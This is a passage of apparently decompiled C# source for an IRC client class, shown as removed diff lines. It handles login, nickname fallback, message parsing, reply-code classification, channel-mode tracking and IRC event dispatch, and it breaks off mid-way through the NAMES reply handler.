this._StoreChannelsToRejoin(); - this.Reconnect(); - if (login) - { - this._CurrentNickname = 0; - this.Login(this._NicknameList, this.Realname, this.IUsermode, this.Username, this.Password); - } - if (!channels) - return; - this._RejoinChannels(); - } - - public void Reconnect(bool login) => this.Reconnect(login, true); - - public void Login( - string[] nicklist, - string realname, - int usermode, - string username, - string password) - { - this._NicknameList = (string[]) nicklist.Clone(); - this._Nickname = this._NicknameList[0].Replace(" ", ""); - this._Realname = realname; - this._IUsermode = usermode; - this._Username = username == null || username.Length <= 0 ? Environment.UserName.Replace(" ", "") : username.Replace(" ", ""); - if (password != null && password.Length > 0) - { - this._Password = password; - this.RfcPass(this.Password, Priority.Critical); - } - this.RfcNick(this.Nickname, Priority.Critical); - this.RfcUser(this.Username, this.IUsermode, this.Realname, Priority.Critical); - } - - public void Login(string[] nicklist, string realname, int usermode, string username) => this.Login(nicklist, realname, usermode, username, ""); - - public void Login(string[] nicklist, string realname, int usermode) => this.Login(nicklist, realname, usermode, "", ""); - - public void Login(string[] nicklist, string realname) => this.Login(nicklist, realname, 0, "", ""); - - public void Login( - string nick, - string realname, - int usermode, - string username, - string password) - { - this.Login(new string[3] - { - nick, - nick + "_", - nick + "__" - }, realname, usermode, username, password); - } - - public void Login(string nick, string realname, int usermode, string username) => this.Login(new string[3] - { - nick, - nick + "_", - nick + "__" - }, realname, usermode, username, ""); - - public void Login(string nick, string realname, int usermode) => this.Login(new string[3] - { - nick, - nick + "_", - nick + "__" - }, realname, usermode, "", ""); - - public void Login(string nick, string realname) => this.Login(new string[3] - { - nick, - nick + "_", - nick + "__" - }, realname, 0, "", ""); - - public bool IsMe(string nickname) => this.Nickname == nickname; - - public bool IsJoined(string channelname) => this.IsJoined(channelname, this.Nickname); - - public bool IsJoined(string channelname, string nickname) - { - if (channelname == null) - throw new ArgumentNullException(nameof (channelname)); - if (nickname == null) - throw new ArgumentNullException(nameof (nickname)); - Channel channel = this.GetChannel(channelname); - return channel != null && channel.UnsafeUsers != null && channel.UnsafeUsers.ContainsKey((object) nickname); - } - - public IrcUser GetIrcUser(string nickname) => nickname != null ? (IrcUser) this._IrcUsers[(object) nickname] : throw new ArgumentNullException(nameof (nickname)); - - public ChannelUser GetChannelUser(string channelname, string nickname) - { - if (channelname == null) - throw new ArgumentNullException("channel"); - if (nickname == null) - throw new ArgumentNullException(nameof (nickname)); - Channel channel = this.GetChannel(channelname); - return channel != null ? (ChannelUser) channel.UnsafeUsers[(object) nickname] : (ChannelUser) null; - } - - public Channel GetChannel(string channelname) => channelname != null ? (Channel) this._Channels[(object) channelname] : throw new ArgumentNullException(nameof (channelname)); - - public string[] GetChannels() - { - string[] channels = new string[this._Channels.Values.Count]; - int num = 0; - foreach (Channel channel in (IEnumerable) this._Channels.Values) - channels[num++] = channel.Name; - return channels; - } - - public IList GetChannelList(string mask) - { - List channelList = new List(); - lock (this._ChannelListSyncRoot) - { - this._ChannelList = channelList; - this._ChannelListReceivedEvent = new AutoResetEvent(false); - this.RfcList(mask); - this._ChannelListReceivedEvent.WaitOne(); - this._ChannelListReceivedEvent = (AutoResetEvent) null; - this._ChannelList = (List) null; - } - return (IList) channelList; - } - - public IList GetWhoList(string mask) - { - List whoList = new List(); - lock (this._WhoListSyncRoot) - { - this._WhoList = whoList; - this._WhoListReceivedEvent = new AutoResetEvent(false); - this.RfcWho(mask); - this._WhoListReceivedEvent.WaitOne(); - this._WhoListReceivedEvent = (AutoResetEvent) null; - this._WhoList = (List) null; - } - return (IList) whoList; - } - - public IList GetBanList(string channel) - { - List banList = new List(); - lock (this._BanListSyncRoot) - { - this._BanList = banList; - this._BanListReceivedEvent = new AutoResetEvent(false); - this.Ban(channel); - this._BanListReceivedEvent.WaitOne(); - this._BanListReceivedEvent = (AutoResetEvent) null; - this._BanList = (List) null; - } - return (IList) banList; - } - - public IrcMessageData MessageParser(string rawline) - { - if (rawline == null) - throw new ArgumentNullException(nameof (rawline)); - string nick = (string) null; - string ident = (string) null; - string host = (string) null; - string channel = (string) null; - string message = (string) null; - if (rawline.Length == 0) - throw new ArgumentException("Value must not be empty.", nameof (rawline)); - string str = rawline[0] != ':' ? rawline : rawline.Substring(1); - string[] strArray = str.Split(' '); - string from = strArray[0]; - string s = strArray[1]; - int length1 = from.IndexOf("!"); - int length2 = from.IndexOf("@"); - int num = str.IndexOf(" :"); - if (num != -1) - ++num; - if (length1 != -1) - nick = from.Substring(0, length1); - else if (length2 == -1) - { - if (!from.Contains(".")) - nick = from; - } - else - nick = from.Substring(0, length2); - if (length2 != -1 && length1 != -1) - ident = from.Substring(length1 + 1, length2 - length1 - 1); - if (length2 != -1) - host = from.Substring(length2 + 1); - ReplyCode replycode; - try - { - replycode = (ReplyCode) int.Parse(s); - } - catch (FormatException ex) - { - replycode = ReplyCode.Null; - } - ReceiveType messageType = this._GetMessageType(rawline); - if (num != -1) - message = str.Substring(num + 1); - switch (messageType) - { - case ReceiveType.Join: - case ReceiveType.Kick: - case ReceiveType.Part: - case ReceiveType.TopicChange: - case ReceiveType.ChannelModeChange: - case ReceiveType.ChannelMessage: - case ReceiveType.ChannelAction: - case ReceiveType.ChannelNotice: - channel = strArray[2]; - break; - case ReceiveType.Invite: - case ReceiveType.Who: - case ReceiveType.Topic: - case ReceiveType.BanList: - case ReceiveType.ChannelMode: - channel = strArray[3]; - break; - case ReceiveType.Name: - channel = strArray[4]; - break; - } - switch (replycode) - { - case ReplyCode.List: - case ReplyCode.ListEnd: - case ReplyCode.ErrorNoChannelModes: - channel = strArray[3]; - break; - } - if (channel != null && channel[0] == ':') - channel = channel.Substring(1); - return new IrcMessageData(this, from, nick, ident, host, channel, message, rawline, messageType, replycode); - } - - protected virtual IrcUser CreateIrcUser(string nickname) => new IrcUser(nickname, this); - - protected virtual Channel CreateChannel(string name) => this._SupportNonRfc ? (Channel) new NonRfcChannel(name) : new Channel(name); - - protected virtual ChannelUser CreateChannelUser(string channel, IrcUser ircUser) => this._SupportNonRfc ? (ChannelUser) new NonRfcChannelUser(channel, ircUser) : new ChannelUser(channel, ircUser); - - private void _Worker(object sender, ReadLineEventArgs e) => this._HandleEvents(this.MessageParser(e.Line)); - - private void _OnDisconnected(object sender, EventArgs e) - { - if (this.AutoRejoin) - this._StoreChannelsToRejoin(); - this._SyncingCleanup(); - } - - private void _OnConnectionError(object sender, EventArgs e) - { - try - { - if (this.AutoReconnect && this.AutoRelogin) - this.Login(this._NicknameList, this.Realname, this.IUsermode, this.Username, this.Password); - if (!this.AutoReconnect || !this.AutoRejoin) - return; - this._RejoinChannels(); - } - catch (NotConnectedException ex) - { - } - } - - private void _StoreChannelsToRejoin() - { - lock (this._AutoRejoinChannels) - { - this._AutoRejoinChannels.Clear(); - if (this.ActiveChannelSyncing || this.PassiveChannelSyncing) - { - foreach (Channel channel in (IEnumerable) this._Channels.Values) - this._AutoRejoinChannels.Add(channel.Name, channel.Key); - } - else - { - foreach (string joinedChannel in this._JoinedChannels) - this._AutoRejoinChannels.Add(joinedChannel, (string) null); - } - } - } - - private void _RejoinChannels() - { - } - - private void _SyncingCleanup() - { - this._JoinedChannels.Clear(); - if (this.ActiveChannelSyncing) - { - this._Channels.Clear(); - this._IrcUsers.Clear(); - } - this._IsAway = false; - this._MotdReceived = false; - this._Motd.Clear(); - } - - private string _NextNickname() - { - ++this._CurrentNickname; - if (this._CurrentNickname >= this._NicknameList.Length) - --this._CurrentNickname; - return this.NicknameList[this._CurrentNickname]; - } - - private ReceiveType _GetMessageType(string rawline) - { - Match match1 = IrcClient._ReplyCodeRegex.Match(rawline); - if (match1.Success) - { - ReplyCode replyCode = (ReplyCode) int.Parse(match1.Groups[1].Value); - if (Array.IndexOf(this._ReplyCodes, (object) replyCode) == -1) - return ReceiveType.Unknown; - switch (replyCode) - { - case ReplyCode.Welcome: - case ReplyCode.YourHost: - case ReplyCode.Created: - case ReplyCode.MyInfo: - case ReplyCode.Bounce: - return ReceiveType.Login; - case ReplyCode.UserModeIs: - return ReceiveType.UserMode; - case ReplyCode.LuserClient: - case ReplyCode.LuserOp: - case ReplyCode.LuserUnknown: - case ReplyCode.LuserChannels: - case ReplyCode.LuserMe: - return ReceiveType.Info; - case ReplyCode.WhoIsUser: - case ReplyCode.WhoIsServer: - case ReplyCode.WhoIsOperator: - case ReplyCode.WhoIsIdle: - case ReplyCode.EndOfWhoIs: - case ReplyCode.WhoIsChannels: - return ReceiveType.WhoIs; - case ReplyCode.WhoWasUser: - case ReplyCode.EndOfWhoWas: - return ReceiveType.WhoWas; - case ReplyCode.EndOfWho: - case ReplyCode.WhoReply: - return ReceiveType.Who; - case ReplyCode.ListStart: - case ReplyCode.List: - case ReplyCode.ListEnd: - return ReceiveType.List; - case ReplyCode.ChannelModeIs: - return ReceiveType.ChannelMode; - case ReplyCode.NoTopic: - case ReplyCode.Topic: - return ReceiveType.Topic; - case ReplyCode.NamesReply: - case ReplyCode.EndOfNames: - return ReceiveType.Name; - case ReplyCode.BanList: - case ReplyCode.EndOfBanList: - return ReceiveType.BanList; - case ReplyCode.Motd: - case ReplyCode.MotdStart: - case ReplyCode.EndOfMotd: - return ReceiveType.Motd; - default: - return replyCode >= (ReplyCode) 400 && replyCode <= (ReplyCode) 599 ? ReceiveType.ErrorMessage : ReceiveType.Unknown; - } - } - else - { - if (IrcClient._PingRegex.Match(rawline).Success) - return ReceiveType.Unknown; - if (IrcClient._ErrorRegex.Match(rawline).Success) - return ReceiveType.Error; - Match match2 = IrcClient._ActionRegex.Match(rawline); - if (match2.Success) - { - switch (match2.Groups[1].Value) - { - case "#": - case "!": - case "&": - case "+": - return ReceiveType.ChannelAction; - default: - return ReceiveType.QueryAction; - } - } - else - { - if (IrcClient._CtcpRequestRegex.Match(rawline).Success) - return ReceiveType.CtcpRequest; - Match match3 = IrcClient._MessageRegex.Match(rawline); - if (match3.Success) - { - switch (match3.Groups[1].Value) - { - case "#": - case "!": - case "&": - case "+": - return ReceiveType.ChannelMessage; - default: - return ReceiveType.QueryMessage; - } - } - else - { - if (IrcClient._CtcpReplyRegex.Match(rawline).Success) - return ReceiveType.CtcpReply; - Match match4 = IrcClient._NoticeRegex.Match(rawline); - if (match4.Success) - { - switch (match4.Groups[1].Value) - { - case "#": - case "!": - case "&": - case "+": - return ReceiveType.ChannelNotice; - default: - return ReceiveType.QueryNotice; - } - } - else - { - if (IrcClient._InviteRegex.Match(rawline).Success) - return ReceiveType.Invite; - if (IrcClient._JoinRegex.Match(rawline).Success) - return ReceiveType.Join; - if (IrcClient._TopicRegex.Match(rawline).Success) - return ReceiveType.TopicChange; - if (IrcClient._NickRegex.Match(rawline).Success) - return ReceiveType.NickChange; - if (IrcClient._KickRegex.Match(rawline).Success) - return ReceiveType.Kick; - if (IrcClient._PartRegex.Match(rawline).Success) - return ReceiveType.Part; - Match match5 = IrcClient._ModeRegex.Match(rawline); - return match5.Success ? (match5.Groups[1].Value == this._Nickname ? ReceiveType.UserModeChange : ReceiveType.ChannelModeChange) : (IrcClient._QuitRegex.Match(rawline).Success ? ReceiveType.Quit : ReceiveType.Unknown); - } - } - } - } - } - - private void _HandleEvents(IrcMessageData ircdata) - { - if (this.OnRawMessage != null) - this.OnRawMessage((object) this, new IrcEventArgs(ircdata)); - switch (ircdata.RawMessageArray[0]) - { - case "PING": - this._Event_PING(ircdata); - break; - case "ERROR": - this._Event_ERROR(ircdata); - break; - } - switch (ircdata.RawMessageArray[1]) - { - case "PRIVMSG": - this._Event_PRIVMSG(ircdata); - break; - case "NOTICE": - this._Event_NOTICE(ircdata); - break; - case "JOIN": - this._Event_JOIN(ircdata); - break; - case "PART": - this._Event_PART(ircdata); - break; - case "KICK": - this._Event_KICK(ircdata); - break; - case "QUIT": - this._Event_QUIT(ircdata); - break; - case "TOPIC": - this._Event_TOPIC(ircdata); - break; - case "NICK": - this._Event_NICK(ircdata); - break; - case "INVITE": - this._Event_INVITE(ircdata); - break; - case "MODE": - this._Event_MODE(ircdata); - break; - case "PONG": - this._Event_PONG(ircdata); - break; - } - if (ircdata.ReplyCode != ReplyCode.Null) - { - switch (ircdata.ReplyCode) - { - case ReplyCode.Welcome: - this._Event_RPL_WELCOME(ircdata); - break; - case ReplyCode.TryAgain: - this._Event_RPL_TRYAGAIN(ircdata); - break; - case ReplyCode.Away: - this._Event_RPL_AWAY(ircdata); - break; - case ReplyCode.UnAway: - this._Event_RPL_UNAWAY(ircdata); - break; - case ReplyCode.NowAway: - this._Event_RPL_NOWAWAY(ircdata); - break; - case ReplyCode.EndOfWho: - this._Event_RPL_ENDOFWHO(ircdata); - break; - case ReplyCode.List: - this._Event_RPL_LIST(ircdata); - break; - case ReplyCode.ListEnd: - this._Event_RPL_LISTEND(ircdata); - break; - case ReplyCode.ChannelModeIs: - this._Event_RPL_CHANNELMODEIS(ircdata); - break; - case ReplyCode.NoTopic: - this._Event_RPL_NOTOPIC(ircdata); - break; - case ReplyCode.Topic: - this._Event_RPL_TOPIC(ircdata); - break; - case ReplyCode.WhoReply: - this._Event_RPL_WHOREPLY(ircdata); - break; - case ReplyCode.NamesReply: - this._Event_RPL_NAMREPLY(ircdata); - break; - case ReplyCode.EndOfNames: - this._Event_RPL_ENDOFNAMES(ircdata); - break; - case ReplyCode.BanList: - this._Event_RPL_BANLIST(ircdata); - break; - case ReplyCode.EndOfBanList: - this._Event_RPL_ENDOFBANLIST(ircdata); - break; - case ReplyCode.Motd: - this._Event_RPL_MOTD(ircdata); - break; - case ReplyCode.EndOfMotd: - this._Event_RPL_ENDOFMOTD(ircdata); - break; - case ReplyCode.ErrorNicknameInUse: - this._Event_ERR_NICKNAMEINUSE(ircdata); - break; - case ReplyCode.ErrorNoChannelModes: - this._Event_ERR_NOCHANMODES(ircdata); - break; - } - } - if (ircdata.Type != ReceiveType.ErrorMessage) - return; - this._Event_ERR(ircdata); - } - - private bool _RemoveIrcUser(string nickname) - { - if (this.GetIrcUser(nickname).JoinedChannels.Length != 0) - return false; - this._IrcUsers.Remove((object) nickname); - return true; - } - - private void _RemoveChannelUser(string channelname, string nickname) - { - Channel channel = this.GetChannel(channelname); - channel.UnsafeUsers.Remove((object) nickname); - channel.UnsafeOps.Remove((object) nickname); - channel.UnsafeVoices.Remove((object) nickname); - if (!this.SupportNonRfc) - return; - ((NonRfcChannel) channel).UnsafeHalfops.Remove((object) nickname); - } - - private void _InterpretChannelMode(IrcMessageData ircdata, string mode, string parameter) - { - string[] strArray = parameter.Split(' '); - bool flag1 = false; - bool flag2 = false; - int length = mode.Length; - Channel channel = (Channel) null; - if (this.ActiveChannelSyncing) - channel = this.GetChannel(ircdata.Channel); - IEnumerator enumerator = strArray.GetEnumerator(); - enumerator.MoveNext(); - for (int index = 0; index < length; ++index) - { - switch (mode[index]) - { - case '+': - flag1 = true; - flag2 = false; - break; - case '-': - flag1 = false; - flag2 = true; - break; - case 'b': - string current1 = (string) enumerator.Current; - enumerator.MoveNext(); - if (flag1) - { - if (this.ActiveChannelSyncing) - { - try - { - channel.Bans.Add(current1); - } - catch (ArgumentException ex) - { - } - } - if (this.OnBan != null) - this.OnBan((object) this, new BanEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current1)); - } - if (flag2) - { - if (this.ActiveChannelSyncing) - channel.Bans.Remove(current1); - if (this.OnUnban != null) - { - this.OnUnban((object) this, new UnbanEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current1)); - break; - } - break; - } - break; - case 'h': - if (this.SupportNonRfc) - { - string current2 = (string) enumerator.Current; - enumerator.MoveNext(); - if (flag1) - { - if (this.ActiveChannelSyncing) - { - if (this.GetChannelUser(ircdata.Channel, current2) != null) - { - try - { - ((NonRfcChannel) channel).UnsafeHalfops.Add((object) current2, (object) this.GetIrcUser(current2)); - } - catch (ArgumentException ex) - { - } - ((NonRfcChannelUser) this.GetChannelUser(ircdata.Channel, current2)).IsHalfop = true; - } - } - if (this.OnHalfop != null) - this.OnHalfop((object) this, new HalfopEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current2)); - } - if (flag2) - { - if (this.ActiveChannelSyncing && this.GetChannelUser(ircdata.Channel, current2) != null) - { - ((NonRfcChannel) channel).UnsafeHalfops.Remove((object) current2); - ((NonRfcChannelUser) this.GetChannelUser(ircdata.Channel, current2)).IsHalfop = false; - } - if (this.OnDehalfop != null) - { - this.OnDehalfop((object) this, new DehalfopEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current2)); - break; - } - break; - } - break; - } - break; - case 'k': - string current3 = (string) enumerator.Current; - enumerator.MoveNext(); - if (flag1 && this.ActiveChannelSyncing) - channel.Key = current3; - if (flag2 && this.ActiveChannelSyncing) - { - channel.Key = ""; - break; - } - break; - case 'l': - string current4 = (string) enumerator.Current; - enumerator.MoveNext(); - if (flag1) - { - if (this.ActiveChannelSyncing) - { - try - { - channel.UserLimit = int.Parse(current4); - } - catch (FormatException ex) - { - } - } - } - if (flag2 && this.ActiveChannelSyncing) - { - channel.UserLimit = 0; - break; - } - break; - case 'o': - string current5 = (string) enumerator.Current; - enumerator.MoveNext(); - if (flag1) - { - if (this.ActiveChannelSyncing) - { - if (this.GetChannelUser(ircdata.Channel, current5) != null) - { - try - { - channel.UnsafeOps.Add((object) current5, (object) this.GetIrcUser(current5)); - } - catch (ArgumentException ex) - { - } - this.GetChannelUser(ircdata.Channel, current5).IsOp = true; - } - } - if (this.OnOp != null) - this.OnOp((object) this, new OpEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current5)); - } - if (flag2) - { - if (this.ActiveChannelSyncing && this.GetChannelUser(ircdata.Channel, current5) != null) - { - channel.UnsafeOps.Remove((object) current5); - this.GetChannelUser(ircdata.Channel, current5).IsOp = false; - } - if (this.OnDeop != null) - { - this.OnDeop((object) this, new DeopEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current5)); - break; - } - break; - } - break; - case 'v': - string current6 = (string) enumerator.Current; - enumerator.MoveNext(); - if (flag1) - { - if (this.ActiveChannelSyncing) - { - if (this.GetChannelUser(ircdata.Channel, current6) != null) - { - try - { - channel.UnsafeVoices.Add((object) current6, (object) this.GetIrcUser(current6)); - } - catch (ArgumentException ex) - { - } - this.GetChannelUser(ircdata.Channel, current6).IsVoice = true; - } - } - if (this.OnVoice != null) - this.OnVoice((object) this, new VoiceEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current6)); - } - if (flag2) - { - if (this.ActiveChannelSyncing && this.GetChannelUser(ircdata.Channel, current6) != null) - { - channel.UnsafeVoices.Remove((object) current6); - this.GetChannelUser(ircdata.Channel, current6).IsVoice = false; - } - if (this.OnDevoice != null) - { - this.OnDevoice((object) this, new DevoiceEventArgs(ircdata, ircdata.Channel, ircdata.Nick, current6)); - break; - } - break; - } - break; - default: - if (flag1 && this.ActiveChannelSyncing && channel.Mode.IndexOf(mode[index]) == -1) - channel.Mode += (string) (object) mode[index]; - if (flag2 && this.ActiveChannelSyncing) - { - channel.Mode = channel.Mode.Replace(mode[index].ToString(), string.Empty); - break; - } - break; - } - } - } - - private void _Event_PING(IrcMessageData ircdata) - { - string str = ircdata.RawMessageArray[1].Substring(1); - this.RfcPong(str, Priority.Critical); - if (this.OnPing == null) - return; - this.OnPing((object) this, new PingEventArgs(ircdata, str)); - } - - private void _Event_PONG(IrcMessageData ircdata) - { - if (this.OnPong == null) - return; - this.OnPong((object) this, new PongEventArgs(ircdata, ircdata.Irc.Lag)); - } - - private void _Event_ERROR(IrcMessageData ircdata) - { - string message = ircdata.Message; - if (this.OnError == null) - return; - this.OnError((object) this, new ErrorEventArgs(ircdata, message)); - } - - private void _Event_JOIN(IrcMessageData ircdata) - { - string nick = ircdata.Nick; - string channel1 = ircdata.Channel; - if (this.IsMe(nick)) - this._JoinedChannels.Add(channel1); - if (this.ActiveChannelSyncing) - { - if (this.IsMe(nick)) - { - Channel channel2 = this.CreateChannel(channel1); - this._Channels.Add((object) channel1, (object) channel2); - this.RfcMode(channel1); - this.RfcWho(channel1); - this.Ban(channel1); - } - else - this.RfcWho(nick); - Channel channel3 = this.GetChannel(channel1); - IrcUser ircUser = this.GetIrcUser(nick); - if (ircUser == null) - { - ircUser = new IrcUser(nick, this); - ircUser.Ident = ircdata.Ident; - ircUser.Host = ircdata.Host; - this._IrcUsers.Add((object) nick, (object) ircUser); - } - if (!(nick == "anonymous") || !(ircdata.Ident == "anonymous") || !(ircdata.Host == "anonymous.") || !this.IsJoined(channel1, nick)) - { - ChannelUser channelUser = this.CreateChannelUser(channel1, ircUser); - channel3.UnsafeUsers.Add((object) nick, (object) channelUser); - } - } - if (this.OnJoin == null) - return; - this.OnJoin((object) this, new JoinEventArgs(ircdata, channel1, nick)); - } - - private void _Event_PART(IrcMessageData ircdata) - { - string nick = ircdata.Nick; - string channel = ircdata.Channel; - string message = ircdata.Message; - if (this.IsMe(nick)) - this._JoinedChannels.Remove(channel); - if (this.ActiveChannelSyncing) - { - if (this.IsMe(nick)) - this._Channels.Remove((object) channel); - else if (!(nick == "anonymous") || !(ircdata.Ident == "anonymous") || !(ircdata.Host == "anonymous.") || this.IsJoined(channel, nick)) - { - this._RemoveChannelUser(channel, nick); - this._RemoveIrcUser(nick); - } - } - if (this.OnPart == null) - return; - this.OnPart((object) this, new PartEventArgs(ircdata, channel, nick, message)); - } - - private void _Event_KICK(IrcMessageData ircdata) - { - string channel1 = ircdata.Channel; - string nick = ircdata.Nick; - string rawMessage = ircdata.RawMessageArray[3]; - string message = ircdata.Message; - bool flag = this.IsMe(rawMessage); - if (flag) - this._JoinedChannels.Remove(channel1); - if (this.ActiveChannelSyncing) - { - if (flag) - { - Channel channel2 = this.GetChannel(channel1); - this._Channels.Remove((object) channel1); - if (this._AutoRejoinOnKick) - this.RfcJoin(channel2.Name, channel2.Key); - } - else - { - this._RemoveChannelUser(channel1, rawMessage); - this._RemoveIrcUser(rawMessage); - } - } - else if (flag && this.AutoRejoinOnKick) - this.RfcJoin(channel1); - if (this.OnKick == null) - return; - this.OnKick((object) this, new KickEventArgs(ircdata, channel1, nick, rawMessage, message)); - } - - private void _Event_QUIT(IrcMessageData ircdata) - { - string nick = ircdata.Nick; - string message = ircdata.Message; - if (this.ActiveChannelSyncing) - { - IrcUser ircUser = this.GetIrcUser(nick); - if (ircUser != null) - { - string[] joinedChannels = ircUser.JoinedChannels; - if (joinedChannels != null) - { - foreach (string channelname in joinedChannels) - this._RemoveChannelUser(channelname, nick); - this._RemoveIrcUser(nick); - } - } - } - if (this.OnQuit == null) - return; - this.OnQuit((object) this, new QuitEventArgs(ircdata, nick, message)); - } - - private void _Event_PRIVMSG(IrcMessageData ircdata) - { - switch (ircdata.Type) - { - case ReceiveType.ChannelMessage: - if (this.OnChannelMessage == null) - break; - this.OnChannelMessage((object) this, new IrcEventArgs(ircdata)); - break; - case ReceiveType.ChannelAction: - if (this.OnChannelAction == null) - break; - string actionmsg1 = ircdata.Message.Substring(8, ircdata.Message.Length - 9); - this.OnChannelAction((object) this, new ActionEventArgs(ircdata, actionmsg1)); - break; - case ReceiveType.QueryMessage: - if (this.OnQueryMessage == null) - break; - this.OnQueryMessage((object) this, new IrcEventArgs(ircdata)); - break; - case ReceiveType.QueryAction: - if (this.OnQueryAction == null) - break; - string actionmsg2 = ircdata.Message.Substring(8, ircdata.Message.Length - 9); - this.OnQueryAction((object) this, new ActionEventArgs(ircdata, actionmsg2)); - break; - case ReceiveType.CtcpRequest: - if (this.OnCtcpRequest == null) - break; - int num = ircdata.Message.IndexOf(' '); - string ctcpparam = ""; - string ctcpcmd; - if (num != -1) - { - ctcpcmd = ircdata.Message.Substring(1, num - 1); - ctcpparam = ircdata.Message.Substring(num + 1, ircdata.Message.Length - num - 2); - } - else - ctcpcmd = ircdata.Message.Substring(1, ircdata.Message.Length - 2); - this.OnCtcpRequest((object) this, new CtcpEventArgs(ircdata, ctcpcmd, ctcpparam)); - break; - } - } - - private void _Event_NOTICE(IrcMessageData ircdata) - { - switch (ircdata.Type) - { - case ReceiveType.ChannelNotice: - if (this.OnChannelNotice == null) - break; - this.OnChannelNotice((object) this, new IrcEventArgs(ircdata)); - break; - case ReceiveType.QueryNotice: - if (this.OnQueryNotice == null) - break; - this.OnQueryNotice((object) this, new IrcEventArgs(ircdata)); - break; - case ReceiveType.CtcpReply: - if (this.OnCtcpReply == null) - break; - int num = ircdata.Message.IndexOf(' '); - string ctcpparam = ""; - string ctcpcmd; - if (num != -1) - { - ctcpcmd = ircdata.Message.Substring(1, num - 1); - ctcpparam = ircdata.Message.Substring(num + 1, ircdata.Message.Length - num - 2); - } - else - ctcpcmd = ircdata.Message.Substring(1, ircdata.Message.Length - 2); - this.OnCtcpReply((object) this, new CtcpEventArgs(ircdata, ctcpcmd, ctcpparam)); - break; - } - } - - private void _Event_TOPIC(IrcMessageData ircdata) - { - string nick = ircdata.Nick; - string channel = ircdata.Channel; - string message = ircdata.Message; - if (this.ActiveChannelSyncing && this.IsJoined(channel)) - this.GetChannel(channel).Topic = message; - if (this.OnTopicChange == null) - return; - this.OnTopicChange((object) this, new TopicChangeEventArgs(ircdata, channel, nick, message)); - } - - private void _Event_NICK(IrcMessageData ircdata) - { - string nick = ircdata.Nick; - string str = ircdata.RawMessageArray[2]; - if (str.StartsWith(":")) - str = str.Substring(1); - if (this.IsMe(ircdata.Nick)) - this._Nickname = str; - if (this.ActiveChannelSyncing) - { - IrcUser ircUser = this.GetIrcUser(nick); - if (ircUser != null) - { - string[] joinedChannels = ircUser.JoinedChannels; - ircUser.Nick = str; - this._IrcUsers.Remove((object) nick); - this._IrcUsers.Add((object) str, (object) ircUser); - foreach (string channelname in joinedChannels) - { - Channel channel = this.GetChannel(channelname); - ChannelUser channelUser = this.GetChannelUser(channelname, nick); - channel.UnsafeUsers.Remove((object) nick); - channel.UnsafeUsers.Add((object) str, (object) channelUser); - if (channelUser.IsOp) - { - channel.UnsafeOps.Remove((object) nick); - channel.UnsafeOps.Add((object) str, (object) channelUser); - } - if (this.SupportNonRfc && ((NonRfcChannelUser) channelUser).IsHalfop) - { - NonRfcChannel nonRfcChannel = (NonRfcChannel) channel; - nonRfcChannel.UnsafeHalfops.Remove((object) nick); - nonRfcChannel.UnsafeHalfops.Add((object) str, (object) channelUser); - } - if (channelUser.IsVoice) - { - channel.UnsafeVoices.Remove((object) nick); - channel.UnsafeVoices.Add((object) str, (object) channelUser); - } - } - } - } - if (this.OnNickChange == null) - return; - this.OnNickChange((object) this, new NickChangeEventArgs(ircdata, nick, str)); - } - - private void _Event_INVITE(IrcMessageData ircdata) - { - string channel = ircdata.Channel; - string nick = ircdata.Nick; - if (this.AutoJoinOnInvite && channel.Trim() != "0") - this.RfcJoin(channel); - if (this.OnInvite == null) - return; - this.OnInvite((object) this, new InviteEventArgs(ircdata, channel, nick)); - } - - private void _Event_MODE(IrcMessageData ircdata) - { - if (this.IsMe(ircdata.RawMessageArray[2])) - { - this._Usermode = ircdata.RawMessageArray[3].Substring(1); - } - else - { - string rawMessage = ircdata.RawMessageArray[3]; - string parameter = string.Join(" ", ircdata.RawMessageArray, 4, ircdata.RawMessageArray.Length - 4); - this._InterpretChannelMode(ircdata, rawMessage, parameter); - } - if (ircdata.Type == ReceiveType.UserModeChange && this.OnUserModeChange != null) - this.OnUserModeChange((object) this, new IrcEventArgs(ircdata)); - if (ircdata.Type == ReceiveType.ChannelModeChange && this.OnChannelModeChange != null) - this.OnChannelModeChange((object) this, new IrcEventArgs(ircdata)); - if (this.OnModeChange == null) - return; - this.OnModeChange((object) this, new IrcEventArgs(ircdata)); - } - - private void _Event_RPL_CHANNELMODEIS(IrcMessageData ircdata) - { - if (!this.ActiveChannelSyncing || !this.IsJoined(ircdata.Channel)) - return; - this.GetChannel(ircdata.Channel).Mode = string.Empty; - string rawMessage = ircdata.RawMessageArray[4]; - string parameter = string.Join(" ", ircdata.RawMessageArray, 5, ircdata.RawMessageArray.Length - 5); - this._InterpretChannelMode(ircdata, rawMessage, parameter); - } - - private void _Event_RPL_WELCOME(IrcMessageData ircdata) - { - this._Nickname = ircdata.RawMessageArray[2]; - if (this.OnRegistered == null) - return; - this.OnRegistered((object) this, EventArgs.Empty); - } - - private void _Event_RPL_TOPIC(IrcMessageData ircdata) - { - string message = ircdata.Message; - string channel = ircdata.Channel; - if (this.ActiveChannelSyncing && this.IsJoined(channel)) - this.GetChannel(channel).Topic = message; - if (this.OnTopic == null) - return; - this.OnTopic((object) this, new TopicEventArgs(ircdata, channel, message)); - } - - private void _Event_RPL_NOTOPIC(IrcMessageData ircdata) - { - string channel = ircdata.Channel; - if (this.ActiveChannelSyncing && this.IsJoined(channel)) - this.GetChannel(channel).Topic = ""; - if (this.OnTopic == null) - return; - this.OnTopic((object) this, new TopicEventArgs(ircdata, channel, "")); - } - - private void _Event_RPL_NAMREPLY(IrcMessageData ircdata) - { - string channel1 = ircdata.Channel; - string[] strArray = ircdata.MessageArray; - if (strArray == null) - { - if (ircdata.RawMessageArray.Length > 5) - strArray = new string[1] - { - ircdata.RawMessageArray[5] - }; - else - strArray = new string[0]; - } - if (this.ActiveChannelSyncing && this.IsJoined(channel1)) - { - foreach (string str1 in strArray) - { - if (str1.Length > 0) - { - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - string str2; - switch (str1[0]) - { - case '%': - flag2 = true; - str2 = str1.Substring(1); - break; - case '&': - str2 = str1.Substring(1); - break; - case '+': - flag3 = true; - str2 = str1.Substring(1); - break; - case '@': - flag1 = true; - str2 = str1.Substring(1); - break; - case '~': - str2 = str1.Substring(1); - break; - default: - str2 = str1; - break; - } - IrcUser ircUser = this.GetIrcUser(str2); - ChannelUser channelUser = this.GetChannelUser(channel1, str2); - if (ircUser == null) - { - ircUser = new IrcUser(str2, this); - 